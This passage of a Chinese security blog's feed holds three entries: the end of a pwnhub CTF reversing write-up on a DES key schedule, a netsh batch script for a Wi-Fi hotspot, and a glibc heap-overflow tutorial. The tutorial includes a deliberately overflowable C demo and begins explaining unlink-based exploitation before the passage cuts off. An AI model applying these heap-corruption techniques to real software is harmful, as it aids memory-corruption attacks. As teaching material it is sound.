ext_key[key_index++];</span><br><span class="line">var26 |= S7[var27 &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S5[var27 &gt;&gt;&gt; <span class="number">8</span> &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S3[var27 &gt;&gt;&gt; <span class="number">16</span> &amp; <span class="number">63</span>];</span><br><span class="line">var26 |= S1[var27 &gt;&gt;&gt; <span class="number">24</span> &amp; <span class="number">63</span>];</span><br><span class="line">var29 ^= var26;</span><br></pre></td></tr></table></figure><p>这个加密是以<strong>2个为一组</strong>进行加密，而且des本身的解密就是将密钥倒过来使用，而由之前的代码可得到加密后的明文，所以这里我们将密码倒过来使用:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">16</span>; i += <span class="number">2</span>) &#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; <span class="number">2</span>; ++j) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">t</span> <span class="operator">=</span> var291[<span class="number">30</span> - i + j];</span><br><span class="line">                var291[<span class="number">30</span> - i + j] = var291[i + j];</span><br><span class="line">                var291[i + j] = t;</span><br><span class="line">                System.out.printf(<span class="string">&quot;%d %d\n&quot;</span>, <span class="number">30</span> - i + j, i + j);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>最终！！！！！我们成功的得到了一串不带负数的答案！！</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;pwnhub的话，都是超级难的题目，这里先尝试解一下题吧，也算是尝试。&lt;/p&gt;</summary>
    
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/categories/Reverse/"/>
    
    
    <category term="pwnhub" scheme="https://showlinkroom.me/tags/pwnhub/"/>
    
  </entry>
  
  <entry>
    <title>WIFI with bat</title>
    <link href="https://showlinkroom.me/2017/02/12/WIFI-with-bat/"/>
    <id>https://showlinkroom.me/2017/02/12/WIFI-with-bat/</id>
    <published>2017-02-12T13:41:49.000Z</published>
    <updated>2020-07-16T13:31:30.420Z</updated>
    
    <content type="html"><![CDATA[<h3 id="使用批处理文件语法建立wifi">使用批处理文件语法建立wifi</h3><span id="more"></span><p>用了wifi共享大师一段时间了，但是发现这个玩意儿好坑啊，后台的进程居然关不掉！！后来在某某大牛群里面看到了wifi可以直接用bat打开？！惊喜之下记录学习过程（小白学习大佬求轻拍_(:3__&lt; 毕竟是老物而我等小白才知道。。）:</p><p>我们要使用windows自带的netsh脚本进行网络配置。<strong>(具体代码在下面在下面…)</strong></p><p>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||   — 分割线 —   ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||</p><p>netsh是一个超级厉害的windows下自带脚本，我们可以通过其进行设置windows的相关网络配置。<br>然后在netsh的介绍下找到wlan，wlan嘛，就是<strong>wireless local area network【英语满分】</strong>，所以就用这个来设置wlan。<br>show driver可以显示系统上wlan驱动的信息，发现支持承载网络（毕竟wifi共享大师也能开）<br>然后使用stop指令将当前的数据网络关闭。然后使用set指令将wlan的上下文进行设置(好多属性啊)我们关注<strong>hostednetwork 设置承载网络属性</strong></p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">参数:</span><br><span class="line"></span><br><span class="line">    标记             值</span><br><span class="line">    <span class="built_in">mode</span>            指定允许还是禁止托管网络。</span><br><span class="line">    ssid            托管网络的 SSID。</span><br><span class="line">    key             托管网络使用的用户安全密钥。</span><br><span class="line">    keyUsage        指定用户密钥密钥是永久性的还是临时的。</span><br></pre></td></tr></table></figure><p>这四个属性就分别是:<br>mode = allow|disallow(是否禁止使用wifi)<br>ssid(<strong>Service Set Identifie 服务集标识</strong>) = 通俗的说就是wifi名字<br>key = 你喜欢的密码<br>keuUsage = persistent|temporary(永久或者是临时)</p><p>通过设置这四个属性，我们就能够设置wlan的上下文，最后设置netsh wlan start hostednetwork从而打开wifi~<br>但是注意，如果直接使用netsh set hostednetwork 属性设置的话，那么wifi就会关闭。所以我们要使用pause，终止其继续执行（当然要是设置成了persistant的话就不用了）</p><p>但是在我尝试之后居然失败了？！后来想到：当前的网络数据并不会从我当前的网络走向我设置的无线网吧，所以此时应该是不能够成功的，还差点。于是上网找了个教程，看到要将当前网络设置为共享状态，也就是在:<br><img src="/2017/02/12/WIFI-with-bat/wifi-04.png" alt=""><br>中的<br><img src="/2017/02/12/WIFI-with-bat/wifi-01.png" alt=""><br>属性中的中的ipv4处设置共享<br><img src="/2017/02/12/WIFI-with-bat/wifi-02.png" alt=""><br>并且此时<strong>允许其他网络用户通过此计算机的internet连接来连接</strong><br>并且将家庭组中选中此时我们的wifi对应的无线网的名字即可。<br>|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||   — 分割线 —   ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||</p><figure class="highlight bat"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 开启wifi中。。。。。</span><br><span class="line">netsh wlan stop hostednetwork</span><br><span class="line">netsh wlan <span class="built_in">set</span> hostednetwork <span class="built_in">mode</span>=allow ssid=link0 key=<span class="number">88888888</span> keyUsage = temporary</span><br><span class="line">netsh wlan <span class="built_in">start</span> hostednetwork</span><br><span class="line"><span class="built_in">pause</span></span><br></pre></td></tr></table></figure><p>新建任意一个txt文件，将上述这段赋值到里面，保存后将刚刚的.txt后缀改名命名为.bat即可。<br>如果看不到文件后缀名呢?可以通过修改文件夹属性该出来，这里给出win10下的操作:<br><img src="/2017/02/12/WIFI-with-bat/wifi-03.png" alt=""></p>]]></content>
    
    
    <summary type="html">&lt;h3 id=&quot;使用批处理文件语法建立wifi&quot;&gt;使用批处理文件语法建立wifi&lt;/h3&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>heap_overflow</title>
    <link href="https://showlinkroom.me/2017/01/30/heap-overflow/"/>
    <id>https://showlinkroom.me/2017/01/30/heap-overflow/</id>
    <published>2017-01-30T15:14:59.000Z</published>
    <updated>2020-07-16T13:31:30.386Z</updated>
    
    <content type="html"><![CDATA[<p>之前刷题遇到了不会做的内容，于是就把这个堆溢出给啃了</p><span id="more"></span><h3 id="堆溢出">堆溢出</h3><h4 id="堆的定义">堆的定义</h4><p>这的堆和数据结构里面的对不是一个东西，这里的堆就是一个双向链表，每一块数据中都会有一个指向上一个块的指针和指向下一个块的指针。每当要分配空间的时候，就从空闲的块上取一个块下来，并且会在分配的块的某一个位置记录此时的空间大小。</p><h5 id="堆块大小与分配">堆块大小与分配</h5><p>1、堆块的大小分配必须字节对齐：<br>看下列例子:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="type">char</span> *name,*age;</span><br><span class="line">    name = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">10</span>);</span><br><span class="line">    age = (<span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">4</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;input your name:&quot;</span>);</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, name);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;your name is %s\n&quot;</span>, name);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;your age is %s\n&quot;</span>, age);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此处我们故意输入过长的数据</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">input your name:namenamename1001</span><br><span class="line">your name is namenamename1001</span><br><span class="line">your age is</span><br></pre></td></tr></table></figure><p>然而我们发现，虽然只是分配了10空间，但是name还是成功的存下了16bit大小的数据，并且此时的age内部还是空的，但是如果此时再将数据多输入一点造成溢出的话：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">input your name:namenamenamename1001</span><br><span class="line">your name is namenamenamename1001</span><br><span class="line">your age is <span class="number">1001</span></span><br></pre></td></tr></table></figure><p>此时的age中存放了name最后四位的数据，并且此时的name也可以放得下数据。也就是说，此时的name所指向的空间中，和age所指向的空间存在重合的地方，并且此时name的实际大小为16bit。<br>2、堆块的结构<br>一个堆的最小操作单位为chunk，堆的分配与操作都是基于这个chunk进行的:<br><img src="/2017/01/30/heap-overflow/heap-overflow-01.png" alt=""><br>如上图，一个使用中的堆的结构体大致如上。其中:</p><ul><li>previous chunk size在32位电脑下为4字节，64位为8字节</li><li>size of chunk的大小其实只占29位（因为要求了字节对其），剩下的3位含义分别为:</li><li>PREV_INUSE§: 表示前一个chunk是否为allocated。(若为第一块，则也为1，因为此时不存在在其前面的数据)</li><li>IS_MMAPPED(M)：表示当前chunk是否是通过mmap系统调用产生的。</li><li>NON_MAIN_ARENA(N)：表示当前chunk是否是thread arena。<br>这里就要介绍一下arena是什么。每当一个函数建立的时候，如果使用了malloc，那么程序便会从内存空间中多申请一段空间，这段空间就称为arena，每次分配空间的时候，不是直接由mmap像kernel申请内存，而是从这个位置尝试查找能够分配给用户的数据大小，如果分配不到的话，才使用调整sbrk等手段获得数据。<br>这个arena可以保证多线程能够同时申请到有效的内存空间，相当于每一个线程都有一个自己独立的arena。（当然，这个arena是有个数限制的）</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">For <span class="number">32</span> bit systems:</span><br><span class="line">     Number of arena = <span class="number">2</span> * number of cores + <span class="number">1.</span></span><br><span class="line">For <span class="number">64</span> bit systems:</span><br><span class="line">     Number of arena = <span class="number">8</span> * number of cores + <span class="number">1.</span></span><br></pre></td></tr></table></figure><p>其中堆的chunk的数据管理结构体也就是一个Chunk Head大致如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"><span class="type">int</span> prev_size; <span class="comment">// 如果上一块是空闲，此值为上一块的长度</span></span><br><span class="line"><span class="type">int</span> size; <span class="comment">// 当前块的长度包括管理结构本身</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">fd</span>;</span> <span class="comment">//双向链表的前指针（只在free chunk中存在）</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_chunk</span>* <span class="title">bk</span>;</span> <span class="comment">// 双向链表的后指针（只在free chunk中存在）</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后程序中用全局变量<code>main_arena</code>来管理这些堆，结构为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="comment">/* Serialize access.  */</span></span><br><span class="line">  <span class="type">mutex_t</span> mutex;</span><br><span class="line">  <span class="comment">/* Flags (formerly in max_fast).  */</span></span><br><span class="line">  <span class="type">int</span> flags;</span><br><span class="line">  <span class="comment">/* Fastbins */</span></span><br><span class="line">  mfastbinptr fastbinsY[NFASTBINS];</span><br><span class="line">  <span class="comment">/* Base of the topmost chunk -- not otherwise kept in a bin */</span></span><br><span class="line">  mchunkptr top;</span><br><span class="line">  <span class="comment">/* The remainder from the most recent split of a small request */</span></span><br><span class="line">  mchunkptr last_remainder;</span><br><span class="line">  <span class="comment">/* Normal bins packed as described above */</span></span><br><span class="line">  mchunkptr bins[NBINS * <span class="number">2</span> - <span class="number">2</span>];<span class="comment">//NBINS             128</span></span><br><span class="line">  <span class="comment">/* Bitmap of bins */</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> binmap[BINMAPSIZE];</span><br><span class="line">  <span class="comment">/* Linked list */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span> *<span class="title">next</span>;</span></span><br><span class="line">  <span class="comment">/* Linked list for free arenas.  Access to this field is serialized</span></span><br><span class="line"><span class="comment">     by free_list_lock in arena.c.  */</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span> *<span class="title">next_free</span>;</span></span><br><span class="line">  <span class="comment">/* Number of threads attached to this arena.  0 if the arena is on</span></span><br><span class="line"><span class="comment">     the free list.  Access to this field is serialized by</span></span><br><span class="line"><span class="comment">     free_list_lock in arena.c.  */</span></span><br><span class="line">  INTERNAL_SIZE_T attached_threads;</span><br><span class="line">  <span class="comment">/* Memory allocated from the system in this arena.  */</span></span><br><span class="line">  INTERNAL_SIZE_T system_mem;</span><br><span class="line">  INTERNAL_SIZE_T max_system_mem;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>3、堆块chunk的理解<br>在glibc malloc中将整个堆内存空间分成了连续的、大小不一的chunk，即对于堆内存管理而言chunk就是最小操作单位。Chunk总共分为4类:</p><ul><li>allocated chunk</li><li>free chunk</li><li>top chunk</li><li>Last remainder chunk<br>其实本质上，chunk都是连续内存中的一部分，通过不同的标志位进行划分后得到的小段小段的数据。<br>我们首先介绍前两中常见堆块:allocated chunk(已分配的堆块)和free chunk(未分配的堆块)。然后我们来关注一下，堆块之所以要形成一定的结构，无非是为了能够更加方便的<strong>分配</strong>和<strong>释放空间</strong>，所以在堆块管理的发展之后，诞生了如下的形式:<br><img src="/2017/01/30/heap-overflow/heap-overflow-02.png" alt=""><br>allocated-chunk<br><img src="/2017/01/30/heap-overflow/heap-overflow-03.png" alt=""><br>free-chunk<br>(会注意到，free chunk的格式比allocated chunk更加复杂，毕竟这些格式都是为了能够更加高效的利用数据来进行分配和释放，所以当然会设置为这个样子)</li></ul><h3 id="allocated-chunk">allocated chunk</h3><ul><li>mem:就是我们通过malloc所获得的内存地址指针</li><li>prev_size:如果上一个相邻的chunk是free的话，那么此处记录的就是上一个chunk的大小，否则就是一个分配过了的chunk，此时这个位置存放的就是数据（为了利用空间）</li><li>size:存放的就是当前数据大小</li></ul><p>注意到，这个数据块中并不存在bk和fd指针（因为此时并不需要）</p><h3 id="free-chunk">free chunk</h3><ul><li>prev_size:首先，不能有两个相邻的空闲数据块，如果有的话，必定会被合并成同一个。所以此时的prev_size中始终是上一个allocated chunk的大小</li><li>size:此空闲堆块包含的数据大小</li><li>fd:Forward pointer,指向位于同一个<strong>bin</strong>的下一个chunk（注意不是物理内存中的chunk）</li><li>bk:Backward pointer,指向位于同一个<strong>bin</strong>的上一个chunk（注意不是物理内存中的chunk）</li></ul><p>此处的<strong>bin</strong>其实就是【一个将chunk链接起来的链表】。根据不同的块大小，系统将其分成了四种类型:</p><ul><li>Fast bin</li><li>Unsorted bin</li><li>Small bin</li><li>Large bin</li></ul><p>在glibc中，有两种记录bin的数据类型，一种叫做<strong>fastbinY</strong>，用于记录所有fast bins的。还有一个叫做<strong>bins</strong>，用来记录除了fast bin以外的所有bins事实上，一共有126个bins，分别是：</p><ul><li>bin 1 为unsorted bin;</li><li>bin 2 到63为small bin;</li><li>bin 64到126为large bin。</li></ul><p>其中具体数据结构定义如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">malloc_state</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  ……</span><br><span class="line">  <span class="comment">/* Fastbins */</span></span><br><span class="line">  mfastbinptr fastbinsY[NFASTBINS];</span><br><span class="line">  ……</span><br><span class="line">  <span class="comment">/* Normal bins packed as described above */</span></span><br><span class="line">  mchunkptr bins[NBINS * <span class="number">2</span> - <span class="number">2</span>];  <span class="comment">// #define NBINS    128</span></span><br><span class="line">  ……</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里mfastbinptr的定义：<code>typedef struct malloc_chunk *mfastbinptr</code>;<br>mchunkptr的定义：<code>typedef struct malloc_chunk* mchunkptr</code>;<br><img src="/2017/01/30/heap-overflow/heap-overflow-04.png" alt=""></p><h4 id="fast-bin">Fast bin</h4><p>所有大小介于<code>16~80</code>字节的chunk都属于这个bin。为了下文更好的叙述，这里约定:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">(1) chunk size指的是malloc_chunk得到的实际大小</span><br><span class="line">(2) chunk unused size是指malloc_chunk中的可用大小，也就是说，每个free chunk的实际大小总是比总体大小小16字节（2个指针，2个大小）</span><br></pre></td></tr></table></figure><p>这些bins是内存分配中分配速度最快的数据。</p><ul><li>fast bin总共有10个</li><li>fast bin为单向链表（只使用fd指针）。每次获取数据大小的时候的原则为LIFO（后入先出）添加操作(free内存)就是将新的fast chunk加入链表尾，删除操作(malloc内存)就是将链表尾部的fast chunk删除。需要注意的是，为了实现LIFO算法，fastbinsY数组中每个fastbin元素均指向了该链表的rear end（尾结点），而尾结点通过其fd指针指向前一个结点，依次类推</li></ul><p><img src="/2017/01/30/heap-overflow/heap-overflow-05.png" alt=""></p><ul><li>chunk size的大小是按照8字节进行步进的。就是说，fastbinsY[0]中chunk size为16byte，fastbinY[1]中chunk size为24byte。。。同一个fastbinY[index]中的所有chunk大小均为相等。</li><li>在malloc 初始化的时候，这个最大的fast bin设置的chunk size（不是chunk unused size）为64而不是80。</li><li>不会对free chunk进行合并。因此此时的P位总是设置为1.</li><li>malloc(size)请求的时候，只有size+16&lt;=80的时候才会被分配到fast bin，但是开始时，fast bin max size和fast bin indicies都是空的，此时small bin会接下这个分配任务。当fast bin不空之后，会重新计算出其大小并交回给fast bin<br>那么fast bin 是在哪？怎么进行初始化的呢？<br>当我们第一次调用malloc(fast bin)的时候，系统执行_int_malloc函数，该函数首先会发现当前fast bin为空，就转交给small bin处理，进而又发现small bin 也为空，就调用<code>malloc_consolidate</code>函数对<code>malloc_state</code>结构体进行初始化，<code>malloc_consolidate</code>函数主要完成以下几个功能：</li><li>a. 首先判断当前malloc_state结构体中的fast bin是否为空，如果为空就说明整个malloc_state都没有完成初始化，需要对malloc_state进行初始化。</li><li>b. malloc_state的初始化操作由函数malloc_init_state(av)完成，该函数先初始化除fast bin之外的所有的bins(构建双链表)，再初始化fast bins。</li></ul><p>然后当再次执行malloc(fast chunk)函数的时候，此时fast bin相关数据不为空了，就开始使用fast bin</p><ul><li>当系统得到了第一个来自fast bin的chunk之后，系统就将chunk从当前fast bin中移除，并且将地址返回给用户。</li><li>free(fast chunk) 操作很简单，主要分为两步：先通过chunksize函数根据传入的地址指针获取该指针对应的chunk的大小；然后根据这个chunk大小获取该chunk所属的fast bin，然后再将此chunk添加到该fast bin的链尾即可。整个操作都是在_int_free函数中完成。</li></ul><h4 id="unsorted-bin">Unsorted bin</h4><p>当 small chunk 或者 large chunk 被freed之后没有回到它们的bin只中时，就会被加入这个bin。这个方法让glibc malloc能够使用最近释放的这些chunk。因此就节约了查找合适大小bin的时间。</p><ul><li>只有一个，并且为双向链表。</li><li>没有大小限制，任何大小的chunk都可以被归类到这里。<br><img src="/2017/01/30/heap-overflow/heap-overflow-06.png" alt=""></li></ul><p>这个堆块在malloc和free的时候都会有重要作用。</p><p><strong>在free阶段</strong></p><ul><li>当进行free之后所有的堆块（非fastbin）会落入到这个堆块中。</li></ul><p><strong>在malloc阶段</strong></p><ul><li>当进行malloc的时候，size大小位于当前unsorted bin 链表中的某个堆块范围的时候，会切割当前的堆块，然后将大小合适的堆块分配出去，剩下的堆块继续留在unsorted bin中</li><li>如果上述过程没有找到合适的堆块（通常是分配的太大了）此时会将unsorted bin中的堆块进行规范化，即是按照大小放到small chunk和large chunk中</li><li>malloc的时候，会check当前的堆块的<strong>前后堆块的size</strong>，如果不在<code>(2 * SIZE_SZ, system_mem]</code>区间内的话，则会被视为<code>invalid next size</code>。所以在伪造堆块的时候，一定要保证当前堆块的 fake size + addr 能够落在一个有效的数字上（最好就是下一个堆块中）</li></ul><h4 id="small-chunk">Small chunk</h4><p>chunk大小小于512byte并且不属于fast bin的就是这个small chunk。其分配速度介于large chunk和fast bin之间。</p><ul><li>small chunk总共有62个</li><li>也是为free chunk组成的双向链表。但是采用的是**FIFO(先进先出)**的原则(区别于 fast bin)释放后的chunk添加到前端，分配时就从尾部分配。</li><li>同一个bin中的chunk大小都是一致的，也是以8byte为步长增长。最小为16byte，最大为16 + 8*62 = 512</li><li>不允许有两个相邻的空块，所以会进行合并。</li><li>malloc操作类似于fast bin。</li><li>开始的时候所有的small bin都是空的，所以此时并不会由small bin，而是unsorted bin去处理。</li><li>第一次调用malloc的时候，small bin和large bin会在malloc_init_state函数中被建立。<strong>bins指针将会指向自己，表示此时为空</strong>，通俗点说，如果smallbin中只有一个chunk，那么chunk-&gt;fd = chunk-&gt;bk = chunk。</li><li>当small bin不再为空的时候，将会返回binlist中最后一个匹配的chunk给用户。</li><li>free操作</li><li>当free的时候，会检查该块之前和之后的块是否为空。如果是的话，就从它们的bins list中unlink这几块，合并成新的chunk，并且加到unsorted bins中。</li></ul><h4 id="large-bin">Large bin</h4><p>chunk大小大于512byte的都会进入到当前的bin中。</p><ul><li>large bin的数据量为63个。同样为双向链表</li><li>每个bin中的chunk大小允许不同。（必须在某个范围内）并且可以在任意位置添加和删除，所以是以从大到小的顺序排列的。</li><li>前32个bin是以64byte为步长。第一个为512byte至586之间。然后的16个以512byte为步长。之后的8个以4096为步长。之后4个为32768为步长。剩下两个为262144byte。最后一个放剩下的chunk</li><li>空闲的chunk会进行合并</li><li>malloc操作类似于small bin</li><li>开始的时候所有的large bin都是空的，所以开始的时候是由下一个最大的large bin提供(?)，首先判断用户需求的size属于哪一个large bin，然后判断当前的large<br>bin 中的最大的chunk（也就是front chunk，最前面那个）是否大于，是的话就遍历整个bin，找到一个大小正好合适或者稍微大于请求size的块。如果大于的话，将当前块拆成两个:</li><li>合适大小的返回给用户</li><li>剩下的chunk放到unsorted bin中</li><li>如果该large bin中的最大的chunk size小于用户请求的size的话，那么久依次查看后续的large chunk看看有没有符合要求的。如果是遍历的方式的话，可能会发生多次磁盘读写，导致运行速度下降，所以这里使用了bitmap结构体进行查找。bitmap记录了各个bin中是否为空。如果bitmap也没有找到的话，就使用top chunk进行空间分配。</li><li>free的操作与small chunk类似</li></ul><h3 id="top-chunk">Top chunk</h3><p>之前提到的四种chunk中的一种，位于arena的最上方。它不属于任何一个chunk bin。当不存在free chunk的时候，会使用这个chunk，当top chunk的大小大于用户需求的时候，其会分裂成两部分（像是large chunk一样），合适的分配给用户，剩下的chunk继续作为top chunk。如果大小还是不够的话，那么top chunk就会使用sbrk指针（main arena）或者mmap（thread arena）进行空间分配。</p><h3 id="last-remainder-chunk">Last Remainder Chunk</h3><p>这种chunk是最近一次请求的小chunk中分类出来的。Last remainder chunk 可以帮助提高程序的局部性，比如小size的请求会被分配到连续的位置上。</p><p>哪种chunk会被称为last remainder chunk呢？<br>当用户请求small size chunk的时候，未能够从small bin和unsorted bin中得到合适chunk的，bitmaps将会去下一个非空最大bin中查找。就如之前说的，当找到下一个合适的bin的时候，将会将chunk分裂成两部分。那个未被使用，加入到unsorted bin中的就称为Last Remader Chunk</p><p>那这么做对于局部性有什么提高？<br>现在如果用户仍然需要一个小的chunk，假设此时的unsorted bin只有我们刚刚分配的chunk，那么此chunk就会分配成两部分，一部分交给用户，另一部分成为新的Last Remainder Chunk，如此一来，这些小的chunk的大小就变得相邻了。</p><h3 id="free-malloc与各个堆块之间的关系">free，malloc与各个堆块之间的关系</h3><h5 id="最初分配的时候">最初分配的时候</h5><p>当最初分配的时候，只含有<code>Top chunk</code>,所以会从这里分配空间。此时所有的bins结构都是空的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">+----------------+          +----------------+</span><br><span class="line">|                |          |    your bin    |</span><br><span class="line">|                |          +----------------+</span><br><span class="line">|                |          |                |</span><br><span class="line">|   Top  chunk   | ----&gt;    |   Top  chunk   |</span><br><span class="line">|                |          |                |</span><br><span class="line">|                |          |                |</span><br><span class="line">+----------------+          +----------------+</span><br></pre></td></tr></table></figure><h5 id="第一次free之后">第一次free之后</h5><p>第一次free之后，就会根据这个chunk的大小分配到不同的位置上:</p><ul><li>如果大小介于fastbin的话，直接放到fastbin中</li><li>否则，丢到<strong>unsorted bin</strong></li></ul><h5 id="多次free之后-通常情况下的free-发生的事情">多次free之后（通常情况下的free）发生的事情</h5><ul><li>检查当前chunk的是否&lt;=fastbin size，如果满足的话，只是将当前的chunk放到fastbin中，并且不会将相邻的下一个chunk的p位设置为1</li><li>否则的话，会检查当前chunk的上一个chunk是否为空闲块（检查当前P位），如果为0，则将上一个块与当前块合并</li></ul><h5 id="unsorted-bin中请求堆块大小为size-malloc的时候发生了什么">Unsorted bin中请求堆块大小为size，malloc的时候发生了什么</h5><p>当malloc的时候，进行如下操作</p><ul><li>如果当前堆块中存在大小和size一致，则直接分配，</li><li>如果在unsorted bin list中存在大于等于size的堆块，则切割堆块，剩下的继续放在unsorted bin 中</li><li>如果找不到合适的大小，此时将所有的unsorted bin放回到fast bin/small bin中，并且请求top chunk分配新的区域</li></ul><h4 id="堆溢出攻击的利用">堆溢出攻击的利用</h4><p>前面卸了写了很多对堆的介绍，然后这里就详细介绍一下如何利用这些。<br>由前文可知，从内存角度上，堆的位置在内存意义上是相邻的（就像之前的实验一样），也就是说，当分配了多个堆块之后，我们可以通过溢出对某些特殊位置的实现更改，从而实现注入攻击</p><h4 id="原理">原理</h4><p>注意到之前提到的，small chunk 和large chunk在free的过程中会查看相邻的位置是否为free chunk，从而进行数据合并从而利用空间:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* consolidate backward */</span></span><br><span class="line">  <span class="keyword">if</span> (!prev_inuse(p)) &#123;</span><br><span class="line">    prevsize = p-&gt;prev_size;</span><br><span class="line">    size += prevsize;</span><br><span class="line">    p = chunk_at_offset(p, -((<span class="type">long</span>) prevsize));</span><br><span class="line">    unlink(av, p, bck, fwd);<span class="comment">//注意这个地方，处理的是prevchunk</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (nextchunk != av-&gt;top) &#123;</span><br><span class="line">    <span class="comment">/* get and clear inuse bit 